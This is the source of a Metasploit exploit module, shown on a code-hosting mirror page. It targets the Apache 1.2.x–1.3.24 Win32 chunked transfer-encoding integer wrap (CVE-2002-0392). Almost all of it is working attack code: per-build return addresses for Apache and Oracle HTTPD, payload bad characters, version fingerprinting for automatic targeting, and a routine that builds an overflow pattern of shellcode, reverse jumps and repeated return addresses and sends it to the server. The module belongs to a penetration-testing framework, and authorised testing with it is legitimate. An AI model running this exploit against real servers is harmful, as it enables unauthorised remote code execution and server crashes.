CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/apache_chunked.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
HttpFingerprint = { :pattern => [ /Apache/ ] }
10
11
include Msf::Exploit::Remote::HttpClient
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'Apache Win32 Chunked Encoding',
16
'Description' => %q{
17
This module exploits the chunked transfer integer wrap
18
vulnerability in Apache version 1.2.x to 1.3.24. This
19
particular module has been tested with all versions of the
20
official Win32 build between 1.3.9 and 1.3.24. Additionally,
21
it should work against most co-branded and bundled versions
22
of Apache (Oracle 8i, 9i, IBM HTTPD, etc).
23
24
You will need to use the Check() functionality to determine
25
the exact target version prior to launching the exploit. The
26
version of Apache bundled with Oracle 8.1.7 will not
27
automatically restart, so if you use the wrong target value,
28
the server will crash.
29
},
30
'Author' => [ 'hdm', 'jduck' ],
31
'References' =>
32
[
33
[ 'CVE', '2002-0392' ],
34
[ 'OSVDB', '838'],
35
[ 'BID', '5033' ]
36
],
37
'Privileged' => true,
38
'Platform' => 'win',
39
'Payload' =>
40
{
41
'Space' => 987,
42
'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
43
'MinNops' => 200,
44
'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
45
46
},
47
'Targets' =>
48
[
49
[ 'Windows Generic Bruteforce', {} ],
50
51
# Official Apache.org win32 builds
52
[ 'Apache.org Build 1.3.9->1.3.19',
53
{
54
'Ret' => 0x00401151,
55
'Pad' => [6,2,0,4,1,3,5,7]
56
}
57
],
58
[ 'Apache.org Build 1.3.22->1.3.24',
59
{
60
'Ret' => 0x00401141,
61
'Pad' => [2,6,0,4,1,3,5,7]
62
}
63
],
64
[ 'Apache.org Build 1.3.19->1.3.24',
65
{
66
'Ret' => 0x6ff6548d,
67
'Pad' => [2,6,0,4,1,3,5,7]
68
}
69
],
70
[ 'Apache.org Build 1.3.22',
71
{
72
'Ret' => 0x6ff762ac,
73
'Pad' => [2,6,0,4,1,3,5,7]
74
}
75
],
76
77
# Return to Win9xConHook.dll via call ebx
78
[ 'Apache.org Build 1.3.17->1.3.24 (Windows 2000)',
79
{
80
'Ret' => 0x1c0f13e5,
81
'Pad' => [2,6,0,4,1,3,5,7]
82
}
83
],
84
85
# Return to Win9xConHook.dll via call esi
86
[ 'Apache.org Build 1.3.17->1.3.24 (Windows NT)',
87
{
88
'Ret' => 0x1c0f1033,
89
'Pad' => [2,6,0,4,1,3,5,7]
90
}
91
],
92
93
# Interesting return to PEB trick for Windows 2003 systems...
94
[ 'Windows 2003 English SP0',
95
{
96
'Ret' => 0x7ffc0638,
97
'Pad' => [2,6,5,4,1,3,0,7]
98
}
99
],
100
101
# Pop/Pop/Return on Windows 2000
102
[ 'Windows 2000 English',
103
{
104
'Ret' => 0x75022ac4,
105
'Pad' => [2,6,5,4,1,3,0,7]
106
}
107
],
108
109
# Oracle HTTPD: [ 8.1.7 ] (one shot)
110
# Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4
111
# OpenSSL/0.9.5a mod_perl/1.24
112
[ 'Oracle 8.1.7 Apache 1.3.12',
113
{
114
'Ret' => 0x1d84d42c,
115
'Pad' => [7]
116
}
117
],
118
119
# Oracle HTTPD: [ 9.1.0 ] (multiple shots)
120
# Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4
121
# OpenSSL/0.9.5a mod_perl/1.24
122
[ 'Oracle 9.1.0 Apache 1.3.12',
123
{
124
'Ret' => 0x10016061,
125
'Pad' => [5,6,0,4,1,3,2,7]
126
}
127
],
128
129
# Oracle HTTPD: [ 9.2.0 ] (multiple shots)
130
# Oracle HTTP Server Powered by Apache/1.3.22 (Win32)
131
# mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b
132
# mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25
133
[ 'Oracle 9.2.0 Apache 1.3.22',
134
{
135
'Ret' => 0x6ff6427a,
136
'Pad' => [5,6,0,4,1,3,2,7]
137
}
138
],
139
140
# Generic debugging targets
141
[ 'Debugging Target',
142
{
143
'Ret' => 0xcafebabe,
144
'Pad' => [0,1,2,3,4,5,6,7]
145
}
146
]
147
],
148
'DisclosureDate' => '2002-06-19',
149
'DefaultTarget' => 0))
150
end
151
152
def check
153
response = send_request_raw({'uri' => '/'}, 5)
154
if response.nil?
155
vprint_status("No response to request")
156
return Exploit::CheckCode::Unknown
157
end
158
159
http_fingerprint({ :response => response }) # Custom Server header matching
160
161
code = Exploit::CheckCode::Appears
162
163
case response['Server']
164
when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22"
165
vprint_status("This looks like an Oracle 8.1.7 Apache service (one-shot only)")
166
when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24"
167
vprint_status("This looks like an Oracle 9.1.0 Apache service (multiple tries allowed)")
168
when "Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25"
169
vprint_status("This looks like an Oracle 9.2.0 Apache service (multiple tries allowed)")
170
when /IBM_HTTP_SERVER\/1\.3\.(19\.[3-9]|2[0-9]\.)/
171
vprint_status("IBM backported the patch, this system is not vulnerable")
172
code = Exploit::CheckCode::Safe
173
when /Apache(-AdvancedExtranetServer)?\/(1\.([0-2]\.[0-9]|3\.([0-9][^0-9]|[0-1][0-9]|2[0-5]))|2\.0.([0-9][^0-9]|[0-2][0-9]|3[0-8]))/
174
else
175
code = Exploit::CheckCode::Safe
176
end
177
178
vprint_status("Server: #{response['Server']}")
179
180
return code
181
end
182
183
def auto_target
184
response = send_request_raw({'uri' => '/'}, 5)
185
if response.nil?
186
print_error("No response to request")
187
return targets_to_try
188
end
189
190
http_fingerprint({ :response => response }) # Custom Server header matching / automatic target selection
191
192
targets_to_try = []
193
server_hdr = response['Server']
194
print_status("Server: #{server_hdr}")
195
196
case server_hdr
197
when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22"
198
targets_to_try.push(targets[9])
199
200
when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24"
201
targets_to_try.push(targets[10])
202
203
when "Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25"
204
targets_to_try.push(targets[11])
205
206
when /IBM_HTTP_SERVER\/1\.3\.(19\.[3-9]|2[0-9]\.)/
207
# fall through
208
209
else
210
# check for apache version ranges
211
if (server_hdr =~ /Apache\/([^ ]*)/) or (server_hdr =~ /Apache-AdvancedExtranetServer\/([^ ]*)/)
212
version = $1
213
214
#print_status("Apache version: #{version}")
215
ver = version.split('.')
216
if (ver.length == 3)
217
major = ver[0].to_i
218
minor = ver[1].to_i
219
rev = ver[2].to_i
220
if (major == 1 and minor == 3)
221
targets_to_try.push(targets[1]) if (rev >= 9 and rev <= 19)
222
targets_to_try.push(targets[2]) if (rev >= 22 and rev <= 24)
223
targets_to_try.push(targets[3]) if (rev >= 19 and rev <= 24)
224
targets_to_try.push(targets[4]) if (rev == 22)
225
226
# Add the remaining targets, regardless of quality...
227
if (server_hdr =~ /Win32/)
228
# targets 4, 5, 6, 7
229
if (rev >= 17 and rev <= 24)
230
targets_to_try.push(targets[5])
231
targets_to_try.push(targets[6])
232
end
233
targets_to_try.push(targets[7])
234
targets_to_try.push(targets[8])
235
end
236
end
237
# Version 1.0 - 1.2, Fall through...
238
end
239
# ServerTokens setting isn't giving up enough information ... Might need to try?
240
end
241
# Not Apache? Fall through...
242
end
243
244
targets_to_try
245
end
246
247
#
248
# If auto, ask the auto_target function for a list of
249
# targets to try...
250
#
251
# If not auto, just try the selected target.
252
#
253
def exploit
254
if target_index == 0
255
targs = auto_target
256
print_status("Auto-targeting returned #{targs.length} candidates...")
257
targs.each_with_index { |targ, idx|
258
# Never try the debug target automatically :)
259
next if targ.name =~ /Debug/
260
exploit_target(targ)
261
}
262
else
263
exploit_target(target)
264
end
265
end
266
267
def exploit_target(target)
268
target['Pad'].each { |pad|
269
pattern =
270
rand_text_alphanumeric(3936) +
271
payload.encoded +
272
make_nops(6) + "\xe9" + [-900].pack('V') + "pP" +
273
rand_text_alphanumeric(pad)
274
275
# Move slightly further back to allow padding changes
276
pattern +=
277
"\xeb\xf0\xde\xad" +
278
[target.ret].pack('V')
279
280
# Create a chain of return addresses and reverse jumps
281
254.times { |x|
282
pattern +=
283
"\xeb\xf6\xbe\xef" +
284
[target.ret].pack('V')
285
}
286
287
# Even out the request length based on the padding value
288
# This is required to reliably hit the return address offset
289
pattern += rand_text_alphanumeric(8 - pad)
290
291
#
292
# Regardless of what return we hit, execution jumps backwards to the shellcode:
293
# _______________ _______________ ___________
294
# _________ _____________ | ________ | | ______ | | ______
295
# v | v | v v | | v v | | v v |
296
# [shellcode] [jmp -949] [pad] [jmp -16] [ret] [jmp -8] [ret] [jmp -8] [ret]
297
#
298
299
print_status("Trying #{target.name} [ #{"0x%.8x" % target.ret}/#{pad} ]")
300
301
# Build the request
302
send_request_raw({
303
'uri' => '/',
304
'headers' =>
305
{
306
'Transfer-Encoding' => "CHUNKED"
307
},
308
'data' => "FFFFFFF0 " + pattern,
309
}, 2)
310
311
# Check the handler
312
handler
313
}
314
end
315
end
316
317